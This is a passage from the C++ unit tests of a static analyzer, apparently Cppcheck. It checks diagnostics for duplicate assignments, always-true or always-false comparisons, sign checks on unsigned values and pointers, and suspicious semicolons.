'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n \"};\\n\"\n \"struct X\\n\"\n \"{\\n\"\n \" P first;\\n\"\n \" P second;\\n\"\n \"};\\n\"\n \"bool bar();\\n\"\n \"void baz(const P&);\\n\"\n \"void foo(const X& x)\\n\"\n \"{\\n\"\n \" P current = x.first;\\n\"\n \" P previous = x.first;\\n\"\n \" while (true)\\n\"\n \" {\\n\"\n \" baz(current);\\n\"\n \" if (bar() && previous == current)\\n\"\n \" {\\n\"\n \" current.func();\\n\"\n \" }\\n\"\n \" previous = current;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:16:7] -> [test.cpp:15:7]: (style, inconclusive) Same expression used in consecutive assignments of 'current' and 'previous'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionCrash() {\n // Issue #8624\n check(\"struct X {\\n\"\n \" X();\\n\"\n \" int f() const;\\n\"\n \"};\\n\"\n \"void run() {\\n\"\n \" X x;\\n\"\n \" int a = x.f();\\n\"\n \" int b = x.f();\\n\"\n \" (void)a;\\n\"\n \" (void)b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:13] -> [test.cpp:7:13]: (style, inconclusive) Same expression used in consecutive assignments of 'a' and 'b'. [duplicateAssignExpression]\\n\", errout_str());\n\n // Issue #8712\n check(\"void f() {\\n\"\n \" unsigned char d;\\n\"\n \" d = d % 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template \\n\"\n \"T f() {\\n\"\n \" T x = T();\\n\"\n \"}\\n\"\n \"int &a = f();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8713\n check(\"class A {\\n\"\n \" int64_t B = 32768;\\n\"\n \" P m = MakeP(B);\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" uint32_t a = 42;\\n\"\n \" uint32_t b = uint32_t(A ::B / 1024);\\n\"\n \" int32_t c = int32_t(a / b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Issue #8709\n check(\"a b;\\n\"\n \"void c() {\\n\"\n \" switch (d) { case b:; }\\n\"\n \" double e(b);\\n\"\n \" if(e <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10718\n // Should probably not be inconclusive\n check(\"struct a {\\n\"\n \" int b() const;\\n\"\n \" auto c() -> decltype(0) {\\n\"\n \" a d;\\n\"\n \" int e = d.b(), f = d.b();\\n\"\n \" return e + f;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:20] -> [test.cpp:5:9]: (style, inconclusive) Same expression used in consecutive assignments of 'e' and 'f'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void multiConditionSameExpression() {\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) continue;\\n\"\n \" if ((val > 0)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:12]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;n\"\n \" val = 1;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" int *p = &val;\\n\"\n \" if (*p < 0) continue;\\n\"\n \" if ((*p > 0)) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2] -> [test.cpp:3]: (style) The comparison '*p < 0' is always false.\\n\"\n \"[test.cpp:2] -> [test.cpp:4]: (style) The comparison '*p > 0' is always false.\\n\",\n \"[test.cpp:3:8]: (style) Variable 'p' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val > 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val > 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int val = 0;\\n\"\n \" if (val < 0) {\\n\"\n \" if ((val < 0)) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:13] -> [test.cpp:4:14]: (style) The comparison 'val < 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int activate = 0;\\n\"\n \" int foo = 0;\\n\"\n \" if (activate) {}\\n\"\n \" else if (foo) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfUnsignedVariable() {\n check(\"void foo() {\\n\"\n \" for(unsigned char i = 10; i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(bool b) {\\n\"\n \" for(unsigned int i = 10; b || i >= 0; i--) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:35]: (style) Unsigned expression 'i' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x < 0u) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n const char code[] = \"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n check(\"void foo(unsigned x) {\\n\"\n \" int y = 0;\\n\"\n \" if (b)\\n\"\n \" y = 1;\\n\"\n \" if (x < y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0UL > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x, unsigned y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Unsigned expression 'x-y' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (x >= 0ull) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(unsigned int x) {\\n\"\n \" if (0ll <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 && y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && 0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (y && x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x < 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (0 > x || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(unsigned int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Unsigned expression 'x' can't be negative so it is unnecessary to test it. [unsignedPositive]\\n\", errout_str());\n\n check(\"void foo(int x, bool y) {\\n\"\n \" if (x >= 0 || y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3233 - FP when template is used (template parameter is numeric constant)\n {\n const char code[] = \"template void foo(unsigned int x) {\\n\"\n \" if (x <= n);\\n\"\n \"}\\n\"\n \"foo<0>();\";\n check(code, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(code, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"template void foo(unsigned int x) {\\n\"\n \"if (x <= 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (style) Checking if unsigned expression 'x' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n }\n\n // #8836\n check(\"uint32_t value = 0xFUL;\\n\"\n \"void f() {\\n\"\n \" if (value < 0u)\\n\"\n \" {\\n\"\n \" value = 0u;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13]: (style) Checking if unsigned expression 'value' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #9040\n /*const*/ Settings settings1 = settingsBuilder().platform(Platform::Type::Win64).build();\n check(\"using BOOL = unsigned;\\n\"\n \"int i;\\n\"\n \"bool f() {\\n\"\n \" return i >= 0;\\n\"\n \"}\\n\", &settings1);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10612\n check(\"void f(void) {\\n\"\n \" const uint32_t x = 0;\\n\"\n \" constexpr const auto y = 0xFFFFU;\\n\"\n \" if (y < x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Checking if unsigned expression 'y' is less than zero. [unsignedLessThanZero]\\n\", errout_str());\n\n // #12387\n check(\"template\\n\"\n \"void f(T t) {\\n\"\n \" if constexpr (std::numeric_limits::is_signed) {\\n\"\n \" if (t < 0) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13734\n check(\"void f() {\\n\"\n \" uint8_t a[N + 1];\\n\"\n \" for (unsigned p = 0; p < (sizeof(a) / sizeof((a)[0])); ++p) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSignOfPointer() {\n check(\"void foo(const int* x) {\\n\"\n \" if (x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" int y = 0;\\n\"\n \" if (x >= y) {}\\n\"\n \"}\";\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:11] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n }\n check(\"void foo(const int* x) {\\n\"\n \" if (*x >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n {\n const char code[] = \"void foo(const int* x) {\\n\"\n \" unsigned y = 0u;\\n\"\n \" if (x < y) {}\\n\"\n \"}\";\n\n check(code, true, false, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n check(code, true, false, true, true);\n ASSERT_EQUALS(\"[test.cpp:2:16] -> [test.cpp:3:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n }\n\n check(\"void foo(const int* x) {\\n\"\n \" if (*x < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y <= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const int* x, const int* y) {\\n\"\n \" if (x - y >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 <= x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if (first.ptr >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first) {\\n\"\n \" if((first.ptr) >= 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:18]: (style) A pointer can not be negative so it is either pointless or an error to check if it is not. [pointerPositive]\\n\"\n \"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 <= (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(first.ptr - second.ptr < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if((first.ptr - second.ptr) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > first.ptr - second.ptr) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct S {\\n\"\n \" int* ptr;\\n\"\n \"};\\n\"\n \"void foo(S* first, S* second) {\\n\"\n \" if(0 > (first.ptr - second.ptr)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style) Parameter 'first' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n 